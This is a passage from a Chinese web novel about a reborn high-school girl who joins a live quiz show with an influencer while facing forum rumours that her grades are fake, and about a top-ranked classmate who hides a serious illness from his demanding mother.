“抱歉,好意我心领了,饼干你给余瑶吧,我就不收了,谢谢。”
她确实是间接帮了很多被孙倩霸凌的女生,但她就是不想受秦穗的恩。
就当是她小心眼吧。
“是不喜欢吃饼干吗?”
眼前这两眼一眨就能沁出水的女生此刻楚楚可怜抬头望着她,令人萌生出一种莫名的保护欲,无法拒绝她的要求。
凌杏薇没这样仔细打量过秦穗。
秦穗平日里总喜欢低着头来去匆匆,性子也略显怯弱羞涩,是一个不太打眼的小透明形象。
凌杏薇看了眼别处,很含糊地说:“嗯。”
秦穗有些失落,但也没硬逼着凌杏薇接受。
她小心翼翼问:“我可以做其他的,你喜欢吃蛋糕吗?或者水果茶?”
凌杏薇对这样的温柔却觉得无名烦躁。
秦穗表现得这样温和谨慎,再不接受倒是显得她不识好歹了。
“好意我心领但东西……”
凌杏薇话没说完,秦穗手中的饼干盒就随着来人的猛烈撞击声跌落在地。
饼干盒盖子松了,有部分饼干散了出来,沾上地面的灰尘。
“哟,真是不好意思!”来人真是孙倩之前的跟班,甩下这句话就扬长而去,丝毫都没有嘴上那“不好意思”的意味。
秦穗盯着地上撒了的饼干,因低头的动作,凌杏薇看不清她的表情。
只能试图安慰对方:“孙倩走了,群龙无首,她们也掀不起什么风浪的,别害怕。”
“没关系的。”秦穗起来把弄到地上的饼干捡到盒子里跟干净的饼干放在了一起。
凌杏薇也不忍心秦穗准备的心意就这样碎到地上。
“要不还是给我吧,你就当这饼干是我收下吃完了。”
“你要的话我弄份干净给你的吧。”
凌杏薇半天也没说出让秦穗再弄一份的话来,只好说算了。
看着秦穗抱着饼干盒离开的身影,凌杏薇终于明白自己莫名不想与秦穗过多接触的原因。
秦穗是个很奇怪的人。
独来独往,与大多数人格格不入,像从前的她,但又不完全像。
凌杏薇回了教室,随着高强度的习题训练,很快就将秦穗送饼干的小插曲忘到了脑后。
直到大课间时播报的新闻吸引了她的注意。
近期有一档名为[抢的就是第一]的知识竞赛综艺正在对外招募素人学生嘉宾。
节目组要求艺人嘉宾从柠城的四大重点高中里自行邀请挑选高中学生成为自己的素人辅助嘉宾。
其中,作为重点高中榜首的柠城一中自然是各方明星嘉宾的首选。
凌杏薇记下这个综艺的名字,回到家就翻出微信编辑文字。
一分钟后,凌杏薇终于给那位昨天一直消息轰炸她的网红大V回了消息,顺便还直奔主题问了那个综艺。
[你最近有没有受到一个知识竞赛类型综艺的邀请?]
对方秒回。
[对啊,不过我就是一傻白甜,又不是什么学霸,空有一张脸能看,还是不去丢脸了吧?]
凌杏薇看见这段话,把[考虑转型吗]这几个字删掉,改成了直白的要求。
[不,你要去。]
[素人嘉宾邀请我,我可以帮你。]
21. 人心肉长,自然偏心
[喔~这样的呀!我考虑考虑?这个,毕竟我之前一直是傻白甜的形象嘛……不过……我要是肯去的话,你可不可以告诉我你是怎么知道孙氏产品有问题的吗?]
对面是凌杏薇揭露孙氏计划中联系的小网红——Amy。
她是凌杏薇煽动孙氏负面舆论引起公众对产品问题和多年前工地事故拖欠赔偿金关注的重要一环。
见凌杏薇没回答,对面又飞速打字。
[拜托了拜托了!我粉丝一直在评论区夸我正义揭露黑暗,可是我本人根本都不知道这究竟是怎么一回事!]
那些证据线索都是她根据前世孙倩说过的话和她买通的底层员工拿到的录音视频进行分析,再通过逻辑推理推测出来的。
说明真相等同于告诉别人她重生过。
凌杏薇不会轻易干这种自报家门露老底的事情。
[抱歉,我不方便告诉你,但这件事不会有任何反转,你在公众面前的形象不会有坍塌的风险,您尽管放心。]
[不方便就当我没说吧。不过,小妹妹,你对这个综艺很有把握?你该不会是什么幕后大佬吧!]
看到这里,凌杏薇心头一惊,点开键盘正准备回复,对面另外一条消息就紧接着发了出来。
[你该不会是哪家豪门的千金吧!能知道这么多内幕还有实力上知识综艺装波大的!]
[我去!这综艺你就放心吧,我一定去!不过到时候我应该怎么配合你?节目组会直接给你答案吗?]
凌杏薇微笑着打出一行字。
[自己写。]
屏幕对面的Amy:[???]
--
“这位同学,真的不考虑一下吗?节目利用周末时间录制,不会耽误日常学习,只要参加哪怕只有一期没有晋级也能有丰厚的奖金!”
“不了,不怎么有兴趣。”
回答的声音磁性偏冷,悦耳的音色轻易便引得周边人的注目。
宋棋从旁边窜了出来,十分热情地跟镜头打招呼。
准确来说,是跟镜头前的大网红打招呼。
“嘿帅哥!顾舟眠不愿意,你看我怎么样?虽然我成绩没他的好,但我长得也是一表人才啊!上节目也得颜值在线吧,我觉得我还是可以试试的……”
那位前来寻找素人嘉宾的大网红低头思忖着,竟是真的在思考这句话的可行性。
请不到年级第一的学生,那在柠城一中重点班里挑其他学生也不是不行。
不过……他是奔着拿前三名去的,学生成绩名次还是越高越好。
短暂思考后,那名网红选择了个折中的办法:“留个联系方式吧,我回头再考虑考虑。
给了对方联系方式又目送对方离开,宋棋恨铁不成钢地自我吐槽了一句。
“想到小爷我竟然是别人退而求其次的选择!士可忍,孰不可忍!”
余瑶在旁边站了有一会儿,听到这里忽然出声。
“那他到时候邀请你去,你去吗?”
宋棋理所当然:“去啊。”
仿佛刚刚气愤填膺的人不是他。
余瑶无语,无奈朝他翻了个白眼。
见教室里又陆陆续续有人离开,她忍不住问:“杏薇和顾舟眠呢?他们还在收拾书本啊?”
“不是,凌杏薇被我们老杨叫办公室去了,顾舟眠刚刚才甩掉邀请他参加综艺的网红进去收拾东西,应该很快就出来了吧。”
余瑶一头雾水:“那个综艺是前两天广播说的那个吗?我还以为是知识竞赛,都没仔细听。”
“差不多吧,跟知识竞赛差不多的综艺节目。不过区别就是知识竞赛得证书,知识综艺得奖金和名气。”
“虽然是综艺,但这也是知识综艺要面对很多题目,这是很好的锻炼自己的机会。顾舟眠……他为什么不愿意去啊?”
“他家虽说不是大富大贵却也不缺这点奖金,而且他家长肯定不同意他搞这些的……唉,你突然问这个干什么?”
见顾舟眠收拾好东西,单肩背起书本大步往她们这里走来,余瑶慌乱地收回目光,还不忘口头上回答宋棋的问题。
“我,我单纯好奇而已。”
宋棋自顾自地叹息道:“不过感觉这种好差事也不太可能轮到我们了。”
“为什么?”余瑶有些心不在焉。
“你想啊,他们是要参加比赛拿第一,自然是要最好的那一个去节目里跟别人竞争!”
顾舟眠正巧走到她们面前,听到了这句话。
他面色平静,似乎对错过这种锻炼的机会毫不在意。
“其他年级也有年级第一,再不济其他学校也有年级第一,少一个我无伤大雅。”
“年级第一一个学校也才3个,四个重点高中就是12个,这个综艺可是群体赛,于你自然是没有损失,但对于参赛选手来说,少一个你可不是无伤大雅喔。”
凌杏薇一步一阶往她们所在的楼层走。
“他们啊,要少助他们夺冠的一员大将啦。”
“杏薇,你可算来了,老师怎么叫你去了这么久?”余瑶立即迎了上去,面带担忧问。
凌杏薇面带歉意:“一些题目没研究透彻,所以讲得久了点,让你们久等了,实在抱歉。”
说着,凌杏薇迅速进了教室,三两下收拾好书包,匆匆忙忙边出教室边朝他们挥手。
“走吧走吧!”
月光洒了一地银色光辉,被四道赶路的身影一步一步踏过。
在这四道即将因为十字路口而分道扬镳的身影中,有一人始终将目光停留在另外一道专注走路看路的少女身上。
顾舟眠忽然问:“凌杏薇,他们有节目嘉宾邀请你去吗?”
凌杏薇沉吟片刻,反问道:“我毛遂自荐算不算?”
“不算不算!”宋棋学会了抢答,“我今天也毛遂自荐了,人家说考虑考虑我……”
凌杏薇想起Amy最后那三个震耳欲聋的问号,决定说得保守一点。
“我那个也说考虑考虑。”
“是吧,都是托词!我们都是对方退而求其次的备胎!慎重考虑后的备选方案!”
宋棋一副痛不欲生的夸张表情,凌杏薇咬了咬唇,还是善解人意地决定放弃向宋棋解释。
凌杏薇无奈地摇了摇头,率先往楼下走,走过楼梯转角处时笑容忽然僵在了脸上。
唐叙朝站在理科二班的教室门口,正巧抬眸与凌杏薇对视上。
他似乎是在等什么人,手上拿着一把雨伞,脸上没什么表情来回踱步着
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。
没有丝毫往常与她说话时不耐烦的神情。
“要回去了?”唐叙朝主动跟凌杏薇搭话。
“嗯。”凌杏薇不知道说什么,语气有些冷淡,但还是不自然的拉了拉书包肩带,下楼梯的步伐也慢了下来。
“外面在下雨,有带伞吗?”
“我们都带了的。”余瑶快走几步下到凌杏薇所在的台阶,跟凌杏薇并肩站着。
余瑶与唐叙朝不熟,说话的时候神情有些内敛,是面对生人时满满的疏离。
但她还是掩下尴尬继续说:“我跟她一起回去。”
“你是杏薇的朋友吗?怎么……没听杏薇提起过你。”
凌杏薇听到这里,忍不住侧目看向余瑶。
余瑶不是多管闲事和没情商的人。
此时却说这种刻意想拉开唐叙朝和她之间关系的话。
想必是她前世之前追唐叙朝的事情闹得太沸沸扬扬,人尽皆知了吧。
“没提起过我?”唐叙朝挑眉看向凌杏薇。
“天天与两个超级大帅哥相伴,哪里还记得从前的孽缘呐。”宋棋嘻嘻哈哈的声音从她们身后传来。
他没个正形,随手把书包往肩上一挂,朝唐叙朝扬了扬下巴:“不喜欢就不喜欢,哥们,搞学习才是正经事啊。”
“你说是不是?顾舟眠。”宋棋说着朝最后才不紧不慢从楼上下来的顾舟眠望去。
顾舟眠单肩背着书包走了下来,深深看了眼身前正看向他的凌杏薇,又看向唐叙朝。
语气若有所思般:“有没有提起,确实不重要。”
他转而跟唐叙朝说话:“这位同学,你刚刚那样询问,是可以提供帮助吗?”
唐叙朝一时不知道怎么回答。
他只是随意问一下而已,他也只有一把伞,没办法送凌杏薇。
“没有带伞可以找人共伞,但不方便提供帮助的话,岂不是在戳人痛处?”
顾舟眠看起来只是就事论事,且他这个人给旁人的印象从不是会令人觉得有失公正的人。
可就在现在,唐叙朝觉得顾舟眠这件事处理得有失偏颇。
浓烈的直觉告诉他,顾舟眠在偏心,在为人打抱不平。
为凌杏薇寻公道。
意识到这一点时,唐叙朝不可置信般抬眼看向台阶上一上一下前后站着的两个人。
也是在这时,唐叙朝才真正把那出自凌杏薇之口的“嘴硬狡辩”当成一个事实去认真对待。
凌杏薇真的不喜欢他了。
凌杏薇现在真的在追顾舟眠。
顾舟眠好像也对凌杏薇有兴趣。
她们是双向奔赴。
可这些跟他有什么关系呢。
以后再也不会有人来烦他了,他应该高兴才是。
想到这里时,唐叙朝脸上流露出自己都未曾察觉的遗憾。
“好热闹,大家都在啊。”
一道甜美的声音由远及近响起,打断了唐叙朝的思路。
“杏薇也在啊,最近论坛上的帖子太多,本来还担心会影响你的状态,现在看见你,悬着的心这才终于放下来。”
“什么帖子?”凌杏薇蹙了蹙眉,“校园论坛上的?”
余瑶几人闻言皆是面色大变。
22. 质疑?等我打个响亮的翻身仗!^……
“我和叙朝也上去帮你说过几句话,可惜寡不敌众,很快就被大量评论淹了,抱歉,也没帮到你什么忙。”
路茴表情歉疚,一副真心为她担忧的模样。
若不是真真切切死过一回,又跟路茴相处太久知道她的路数和本质,凌杏薇看见路茴现在这精湛的演技,恐怕真的要信了她的鬼话。
这样说着,路茴也后知后觉反应过来了。
“你该不会还不知道吧?那些言论可不太好听……”
“网上闹得沸沸扬扬能有什么不知道的?”唐叙朝那令凌杏薇熟悉的不耐表情再次出现,“没必要替她操心,反正又不领情,我们走吧。”
甩下这句话,他给路茴递了个眼神,离开时回眸瞥了眼凌杏薇,眸中复杂情绪逐渐化为平静,变成了凌杏薇熟悉的忽视。
“杏薇,他们说得也没那么严重,咱要不还是不看了吧?”
余瑶担忧地看向凌杏薇。
“我太久没登陆不记得怎么进校园论坛了。”
凌杏薇笑了笑,递给余瑶一个与平时无异的安心眼神。
但还不等余瑶松口气,凌杏薇接下来的话就轰然在余瑶心里砸下一颗地雷,余瑶原本悬而未落的一颗心脏陡然被砸出一个窟窿,凉得能漏风。
“你有校园论坛的账户吗?”
凌杏薇说:“余瑶,我想看看。”
她直勾勾盯着余瑶时目光专注又期待,漆黑的瞳仁亮晶晶的,似有若无泛着光,仿佛被拒绝的下一秒就会露出失望但又为了不让对方有心理负担而刻意掩饰真实情绪的落寞表情。
“用我的吧。”
一只骨节分明的白皙手指伸过来,顾舟眠站在高她们两阶的楼梯上,朝她们伸手递着手机。
“我靠?顾舟眠你疯啦!”宋棋震惊了,此时也顾不上有什么八卦和揶揄的心思,对顾舟眠这种行为简直不可思议。
“你也看见了他们那些人说的都是什……”说到一半,宋棋终于意识到什么似的,僵着脖子缓缓扭头看向凌杏薇,表情是显而易见的心虚。
“那个,其实也没什么……”
说到后面,宋棋自己也觉得自己说的话没什么信服力,音量很没底气地小了下来。
顾舟眠没解释,只淡然陈述:“我的账号一直登在上面,直接就可以看。”
凌杏薇伸手接过,深深看了顾舟眠一眼,“谢谢。”
那部手机没套手机壳,原装的白色机身触感尚存余温。
凌杏薇内心略带讶异,只是她面上没表现出来,手上不动声色攥紧了手机。
她没想到顾舟眠会在晚自习这样徐光明严查手机的时候偷偷看手机。
宋棋有些懊恼地揉了揉脑袋,与余瑶对视上后又对着面前的余瑶无声摊手。
“出了校园再看吧,”凌杏薇拿了手机却没直接开始看,她手指抵住手机底端,边将机身缩进校服外套的衣袖中边左顾右盼着,“上次被徐光明抓了个正着,这次可得小心点吧?”
她说这话时表情又囧又调皮,原本紧张的气氛一扫而空。
“走廊外面那几个小兔崽子是谁?怎么还在学校逗留?说了多少次了晚自习下课就赶紧回家,又不听!”
说曹操曹操就到,几人默契对视一眼,撒丫子扭头就跑。
几个人跑着跑着来了劲,临时起意跑起了马拉松比赛,四道奔跑的身影在路灯下被拉得很长很长。
有树叶旋即飘落在地,归于土壤,那是少年掠过耳边的风声与青春脚印的碰撞呼应。
两组人在分岔路口挥手告别,等到宋棋和余瑶消失在她们视线内,凌杏薇才掏出一直放在衣兜里的手机。
隔着轻薄的衣物与温热的体温接触,本应该微凉的手机此刻依旧保持着不属于它的温热。
“论坛上那个关于我的是什么事情?”
凌杏薇斟酌着字词。
“你不想直接告诉我的话……那就用几个关键词来描述怎么样?我来猜猜看是什么!怎么样?”
顾舟眠深深看了她一会儿,确认自己无法从凌杏薇脸上看出任何的焦虑情绪,这才缓缓吐出几个词:“分班,成绩,舆论。”
“哈?他们觉得我分班考成绩不真实?”
“嗯。”
“我成绩不真实你这么苦大仇深干嘛呀?”凌杏薇勾了勾唇,脸上荡漾着不加掩饰的笑意。
“这么不相信我呀?”
凌杏薇倒是不怎么伤心,她对自己的成绩会受到外界的质疑一点都不意外。
她原本就是准备慢慢将成绩升上来的,毕竟一步登天直接拿下年级第一太引人注目了。
“怎么可能!”随着这道声音响起,余瑶的脑袋直接从拐角处的墙体后面探了出来。
“我们肯定相信你啊!”宋棋紧随其后蹦了出来。
一向喜怒不形于色的顾舟眠脸上罕见流露出几分茫然无措。
苦大仇深?他吗?
注意到顾舟眠不知所措的表情,凌杏薇憋着笑,转头大大方方跟宋棋和余瑶说话。
“你们没走远啊。”
她似乎对两人还滞留在原地偷听墙角的的行为一点也不意外。
“我还以为是什么超级无敌大瓜我没吃到呢,结果就这?”凌杏薇笑眯眯地朝她们摊了摊手。
“对哇!就这点小事那些人天天在网上带节奏。”宋棋松了口气,顺着她的话吐槽着。
“杏薇的成绩肯定是真的,等分班后的第一次月考考出来她们就知道什么叫做——啪啪打脸了!”
余瑶表情夸张地在空中胡乱划拉,张牙舞爪的样子看起来没什么攻击性,凌杏薇反而被她可爱到了,转头跟身后调整好表情的顾舟眠会心一笑。
又转回头来,眼中闪烁着自信光彩:“好啊,你们就等着你薇姐给你们打个响亮的翻身仗看吧!”
两个穿着柠城市一中校服的学生不急不缓往小区内走去,保安认得他们,热情地跟他们寒暄。
“下晚自习啦?”
“是呀叔叔。”凌杏薇跟保安打招呼,经过栅栏时校服口袋里的手机险些与它碰上。
她将手伸进口袋,手指垫护着里面的手机,手指有一下没一下地轻轻点着手机边缘,无意识间将机身捂得温热。
走进小区,快走到楼下时,凌杏薇将手机掏出来递到顾舟眠面前:“顾舟眠,你的手机。”
息屏的手机忽然亮了起来,是Q.Q上发来的消息。
凌杏薇没有看消息,她下意识移开了视线,但眼尖的她还是不小心看见了对方发来的第一个字。
屏幕对面的人称呼顾舟眠为“舟”。
顾舟眠接过手机,恍若未见般将手机收入衣兜内。
“那我先回去啦,明天见!”
“好。”
目送完凌杏薇走进隔壁楼栋,顾舟眠并未立即走进他家所在的楼栋。
而是走到隐蔽的拐角处,掏出手机拨通一个备注为[付成]的号码。
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电话响铃不过三秒就被立即接起,对方热情的声音透过听筒传来,在顾舟眠平淡的表情下显得格外割裂。
“舟眠?你怎么突然这么晚给我来电话?是不是想我了?”
没有惯常与人交流的寒暄,顾舟眠直奔主题:“我最近越来越疼了。”
付成不说话了,久久静寂后长叹一口气,“明天周末,我请假再带你去看看。”
“爸,不要跟她说。”
顾舟眠每次都叮嘱他这个,但顾雪……
付成叹息:“她一直不愿意见我。”
顾舟眠“嗯”了一声:“但之前我跟你见面她都默许了。”
“你毕竟也是我的孩子。”
顾舟眠却客气疏离:“谢谢爸,早点睡。”
话毕,他干脆利落挂断电话,深深闭上眼,单手撑着额头,松手睁眼时,眼底是不再掩饰的厌世倦怠。
Q.Q上是病友发来的消息。
[舟,我今天做化疗,那叫一个剧痛无比!怎一个痛字了得啊!]
[舟,你真的不打算治疗吗?]
治疗?垂死挣扎吗?
顾舟眠无比悲观地想着。
顾舟眠回复了一个抱抱的表情包,关了手机回了家。
他房间的桌面比他早上离开时更整齐了,桌面的东西明显移了位。
明明他离开时桌面并不乱,为什么一切非得按照她的想法来呢?
“舟眠,来,喝牛奶。”
顾舟眠盯着被搁置在自己面前的温牛奶,心底凭空生出几分厌倦来,但他还是端起牛奶将其一饮而尽。
“妈,我要学习了。”他催促着。
顾雪却没离开,她拿出手机,点开早已准备好的分班考成绩。
“我研究了你这次的成绩,化学只有八十几,虽然总分还是甩第二名几十分,但也要注意不要懈怠。”
“今天晚点休息,多刷一套化学试卷。”
祈使句下命令的语气听得人心脏猛然提起,但顾舟眠不想同她多做言语,回复近乎麻木敷衍。
“好,记得帮我关门。”
房间门随着拖鞋踩在地上的声音远去而被关上,一个房门隔绝了两道相斥的灵魂。
被束缚的灵魂只能在掌控者指定的痛苦领域中长时间沉浸,为其赢得一个又一个令人只能望其项背的胜利品。
又在训练赢得比赛的准备期偷偷搜寻自由,得到短暂解脱。
他能在这片痛苦的领域拿到第一,不过是他足够接近痛苦,又充分靠近了痛苦太久。
顾舟眠一字一字按照最快速度写下一张全新的化学试卷,又四四方方叠好,然后一点一点撕掉。
他没有去对答案,甚至在翻到参考答案时将参考答案也撕掉了。
没有批改对错的试卷,那此次训练便失了意义。
可那又怎样。
他只知道自己现在很高兴。
愉悦令人身心舒畅,一向寡言冷淡的少年眼底竟也沁出一丝笑意来。
他眼眸明亮,泛着光。
抬眼间便对上一双干净似鹿般的眼眸。
那双眼的主人坐在他对面楼栋的一件房间内,因为楼层高于他所在的楼层,所以在尽可能趴在窗边往下看。
眼底尽是溢出眼眶的真心关切和小心探究。
他呼吸停滞,随后,酸胀的心脏像是被紧攥又蓦然松开,好半天才恢复知觉般轻轻晃动,一下,一下,扑通狂跳了起来。
23. 全网都是对她的质疑声
凌杏薇不知道顾舟眠为什么哭。
同为在这漫长深夜里埋头刷题的一员,凌杏薇很理解顾舟眠登顶第一要付出的心血。
这世上不劳而获的事情少之又少,他们不是天才,如今的成就都是长年累月积累起来的成绩。
想要长久待在金字塔顶端,就得承受住位于金字塔顶端时他人的酸言冷语,抵御住高处不胜寒的风雨。
学习时碰上难解的题,生活中遇到琐碎又麻烦的事情。
或许,是真的太累了吧。
想着想着,凌杏薇便走了神,回过神来时,便对上了顾舟眠那双不知道盯着她看了多久的眼眸。
那双眼平静无波,仿佛方才的落泪只是她的错觉。
凌杏薇唇角上扬,没有半分偷窥被发现的心虚,坦坦荡荡抬起手朝着顾舟眠挥了挥手。
无声说了句“加油”,然后比了个加油的手势。
顾舟眠只是轻轻朝她颔首,态度略显冷淡。
凌杏薇并未灰心,视线落回到眼前的练习册上,打算翻页往后写题。
搁置在一边已经黑屏的手机却忽然亮起,一条来自wx的消息弹了出来。
不渡舟:[你也加油,在深夜辛勤汲取知识的小蜜蜂。]
凌杏薇手指往收藏栏滑动,想要找个合适的表情来回复他。
在表情包发出去的刹那,顾舟眠的另外一条消息也紧随而来。
[当你有能力有自信有资格得到你现在拥有的成就时,网上那些因为不明真相而质疑的言论就不需要太在意了。]
凌杏薇哑然失笑,今天顾舟眠主动说要给她看手机,她原本以为顾舟眠是不在意。
现在看来,顾舟眠是太清楚她会不会在意了。
凌杏薇内心一时百感交集,呼出一口气,眼眸亮晶晶的盯着那行字又看了一遍,发自内心地感激回复:
[能得到顾学霸的认可,我很荣幸。]
拿出自己的手机登上校园论坛,凌杏薇简单扫了几眼,忽略那些自带恶意的恶劣猜测,理清了当前的形式。
那些人无非是因为她的成绩进步太大质疑罢了。
但他们忘了吗?
小升初考试,她是全市第一。
高一第一次摸底考,她是年级第一。
这样能够常年稳居第一的人忽然跌落谷底的时候,他们怎么没有进行这样大规模的质疑和猜测呢?
手机屏幕再次亮起,依旧是同一个人的消息回复。
不渡舟:[认可你的人会越来越多的。]
发完这条消息,顾舟眠再次抬眼往上看了一眼。
在看见凌杏薇的同时,他也看见了黑夜中高不可攀的明月。
明月常居天边,抬眼可见。一如他初见凌杏薇那般,璀璨皎洁。
他仰望明月许久,执着地认为明月本该如此高悬,不该得到任何质疑的目光。
他恨明月不能高悬,也从未像现在这般如此期待明月脱轨的人生重回正轨。
凌杏薇找到一个合适的表情包发出去,再往顾舟眠所在的方向看过去时,看见顾舟眠正仰头往她上方的方向看过去。
凌杏薇下意识循着他的视线看过去,却因为视角盲区而看不见任何东西。
她起身往外走,走到跟顾舟眠房间朝向一样的洗手间。
打开洗手间的窗户往外眺望,一弯明月正高悬天边,大城市的市中心鲜少能看见星星。
月亮孤冷璀璨,凌杏薇觉得它好美的同时,却并不觉得它夺目刺眼,不觉得它盛气凌人。
城市的夜空可能短暂有几日没有月亮,但再也不会有比月亮更耀眼的星星占据天边当那半盏灯。
待它重新归来,月亮依然会成为高悬天边的月亮的。
-
但在夜空披上幕布前,月亮还没有真正现形。
凌杏薇坐在沙发上,百无聊赖看着面前的Amy补妆。
节目组特地为Amy准备了一个单独的休息室,可见对其重视程度。
“小妹妹,你怎么穿着T恤牛仔裤就来了呀?要不要我让工作人员带着你去换身漂亮衣服?”
听着Amy抽空看向她时关切的话语,凌杏薇只是轻轻摇了摇头。
“太喧兵夺主了也不好,观众重点看的是你。”
“怎么会?你要是不说来我肯定是不接这综艺的!”
Amy停下拍散粉的手,一脸不可思议。
“这是线上直播综艺唉,以我的头脑来这种综艺,我疯了吗?”
说到后面,Amy一副隔墙有耳的神情东张西望压低了声量。
“我平时都是傻白甜人设,我的粉丝都是颜粉来的,要不是因为你让我帮你爆料的那件事让我一夜爆火转型成功,我现在还不知道在哪抠脚当小网红为生计发愁呢。”
凌杏薇被她煞有介事却难掩幽默的语气逗笑了。
“我会尽全力帮你拿前三名的。”
“什么第三名?”Amy却急了,“我们苟过这一轮游就行了。”
“我刚刚跟导演套了话,他说请的都是这里有正材实料的!”Amy做着精致美甲的手指轻轻点了点自己的脑袋。
“你现在在大众面前的人设可不就是有真材实料的高智商高学历网红吗?”
节目组不止需要有真材实料的学霸撑场子,也需要像Amy这样有热度又有一点头脑的网红带动节目人气。
按理说Amy这样的网红来参加知识竞赛拿的不是一轮游吸粉剧本就是逆风翻盘惊艳剧本。
无论是哪种,只要节目组不整幺儿子,都能给Amy带来不少人气,推动她网红事业的发展。
“我不过是一个籍籍无名的小二本,天天混吃等死的花瓶,哪里有什么真材实料啊……”
凌杏薇盯着Amy那张就算不施粉黛也可以很惊艳的脸蛋看了一会儿,冷不丁问:“你有没有考研的想法?”
Amy睫毛膏刷到一半,忽然瞪大眼:“什么?你说你以后想考研?”
她说到最后两个字的时候尾音震颤,似乎十分震惊。
“考研是好事,你以后想考研的话我可以出钱资助你上大学直到研究生毕业!姐仗不仗义!”
凌杏薇接茬但坚持问:“仗义,那你呢?不打算提升一下自身实力?”
“为什么啊妹妹?”Amy迅速把睫毛刷完,确保盖好盖子这才放下手里的睫毛膏,一脸茫然牵起凌杏薇的手。
凌杏薇反问她:“你想转型吗?你喜欢你现在有热度的受人追捧的样子吗?你想要一直这样维持下去吗?”
Amy被她三个问题问懵了,喃喃自语道:“我?我不知道……”
“只有提升自己,因为你优秀而被你吸引来的粉丝才会长久地留下来。”
“就算她们后面离开了,也依旧会有被你优秀吸引来的粉丝支持你。”
Amy面露难色,还没开始,她心里就已经打退堂鼓了。
“我真的能考上吗?”
凌杏薇递给她一个令人安心的眼神:“试试才知道。”
门外响起一道由远及近的脚步声,紧接着响起一道敲门声
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门外的工作人员扬声朝里面喊道:“Amy老师,要准备上场了。”
带上休息室的门,Amy带着凌杏薇跟在工作人员身后往台前走。
边走Amy边反过来安慰凌杏薇:“正常发挥就行,你千万不要有压力,我就是来赚个通告费的,至于名次不重要。”
凌杏薇只是笑而不语。
Amy是来赚通告费,她又何尝不是来赚节目奖金的呢?
这一笔丰厚的奖金足以缓解赵欢这个单亲家庭母亲养家糊口的压力。
很诱人,凌杏薇没有理由放弃。
节目采取直播和录播剪辑两种观看形式呈现,凌杏薇眨了眨眼,还是不太习惯无数镜头对准她的感觉。
第一轮是小组赛,参赛选手和外援选手一起参加,很快随着主持人结束开场,第一题出现在大屏幕上。
直播设备排排对准台前的参赛选手们,凌杏薇站在Amy身侧的辅助位,跟Amy耳语着。
“抢这题,选A。”
Amy不解析题目但很有手速,虽然没能每道题都抢到,但能抢到的题目最后都被凌杏薇准确无误答对解析出来。
就Amy这个重点关注嘉宾的解释,是想给自己的外援嘉宾多一些表现的机会,所以答案是她来说,解析部分却是凌杏薇来进行。
随着凌杏薇答题的频率越来越高,终于有记性好又眼尖的观众发现了不对劲。
[这个柠城一中叫凌杏薇的外援选手很厉害啊,虽然她们这组得分不是第一,但截至目前,她每道题都解析得很到位,通俗易懂,我这种平时不爱读书的学渣竟然都听懂了!]
[Amy请的水军这么早就开始下场了?这个被Amy请来当外援的学生也是惨,在学校好好读书不行吗,现在这样迟早被卷入舆论风波。]
[家人们,我吃到一个大瓜!]
[楼上别卖关子呀!什么瓜说出来大家乐呵乐呵!]
[天!她是柠城一中凌杏薇?我刚刚去一中校园论坛看,上面好多她的瓜啊!直播间有没有柠城一中的校友现身说法,这个瓜到底保不保真啊?]
[你们这些人不知道真相就瞎说,真的是太过分了!]
[公道自在人心吧,说的人多了,也是谣言吗?当然,我就是猜测而已……大家要不还是不要信我的吧?]
[之前在学校抄袭,现在又上综艺作假来了,谁家大小姐啊,家里贪了多少?]
[你们这些人真的很无聊,看直播就看直播,把弹幕搞得这么乌烟瘴气的就开心了?]
[还大小姐呢,一个没权没势又没钱的草根上节目玩逆袭来了?]
……
柠城市第一医院内,付成拿着检测报告来的时候,看见的就是顾舟眠低头凝眸看手机的一幕。
他微微蹙眉,手指悬在手机键盘上欲落未落,迟迟没能打出一个字,看起来心情不太愉悦。
“舟眠,在看什么?”
“随便看看。”顾舟眠收起手机,外露的情绪尽数敛起,仿佛他刚刚眼底担忧和气愤的情绪只是旁人的错觉。
“你的病真的不让你妈妈知道吗?”付成将手里的检测报告递给他。
“爸爸知道你长大了会有自己的想法,但这毕竟是……”
“爸,你已经跟我妈离婚五年了。”
顾舟眠轻飘飘的一句话,堵了付成剩下想说的所有话。
但顾舟眠还有更沉重的一句话,彻底磨灭付成眼里最后一丝光。
“你现在不适合再打扰她的生活。”
24. 活成了长不大的幼苗
“其实我病得很明显。”顾舟眠语带自嘲。
付成张了张嘴,似乎想说什么,但最后还是没说出口。
有的亏欠也不是三言两语就能道得清楚的。
“爸,你们不是看不出来,只是你们各有各的执念,一心觉得我是你们理想中的模样,觉得我从前是那样,现在也该继续那样下去。”
付成低下了头,可说出口的话依旧不中听:“你大了,有自己的想法很正常。”
“是,我大了。”
一个小孩从小在家庭里欠缺爱就像是一株小树苗在幼苗时期就缺少露水浇灌。
随着他年龄的增长,幼苗也因为缺少营养无法长成参天大树。
顾舟眠面露苦涩:“可是爸,我再也没机会长大了。”
“我们治疗!”付成忽然激动起来,“还有机会!哪怕只有1%的希望也试试看!”
“无所谓了,你……别告诉我妈。让她再开心一阵子吧。”顾舟眠却语气平静说,“从跟你离婚到现在,她也挺久没笑过了。”
他又补充:“除了看见我成绩单上那遥遥领先的成绩排名。”
付成自知自己现在没有资格谴责任何人,轻叹一口气,问:“饿不饿,带你去下馆子?”
顾舟眠摇头:“我要走了。”
“我送你!”
顾舟眠回头看了他一眼,没拒绝。
但到了车上,顾舟眠却忽然报了个地址:“去这里。”
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知识竞赛直播现场。
凌杏薇正结束直播录制,跟着Amy一起去导演那走了一遭。
Amy学生时期不爱读书,但她人缘很好,现在工作了人情世故更是拿捏得死死的。
节目导演组原本是因为看中Amy这因为揭露孙家黑暗一事在网络上走红的热度为节目拉点人气和话题讨论度。
现在被Amy这很有人情世故的简单社交了一下,一下子对Amy喜欢得不得了。
但Amy明确表示下一期不打算再来了。
听到这里的凌杏薇面露遗憾。
可惜了,Amy不来她也没办法来了。
她作为素人嘉宾参赛,可以拿到一期节目两万块钱的出场费呢。
赵欢要早起摆三四个月摊才能赚到这么多吧。
这对她家里来说也是一笔不小的收入。
“怎么了小妹妹?”Amy不解。
“今天发挥得很不错呀!”她以为凌杏薇是因为觉得今天直播发挥不好才一副若有所思的模样。
“没什么,”凌杏薇回过神来,“我就是在想我们参加节目的出场费什么时候到账呀?”
“我刚刚忘记问了。”凌杏薇说着还有些懊恼,刚刚光顾着听Amy的各种高情商发言了,把最重要的事情忘记了。
“出场费?这个不用担心,一般审批通过就下来了。不过你怎么在担心这个?我以为你会很伤心下一期不能跟着我参加节目呢。”
“是很伤心……伤心不能继续赚钱了……”凌杏薇撇了撇嘴。
